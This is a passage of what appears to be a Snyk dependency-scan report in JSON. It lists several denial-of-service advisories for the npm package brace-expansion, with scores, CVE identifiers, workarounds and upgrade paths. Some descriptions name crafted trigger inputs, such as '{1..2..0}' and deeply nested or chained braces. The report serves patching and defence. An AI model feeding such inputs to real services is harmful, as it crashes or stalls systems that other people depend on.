"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub 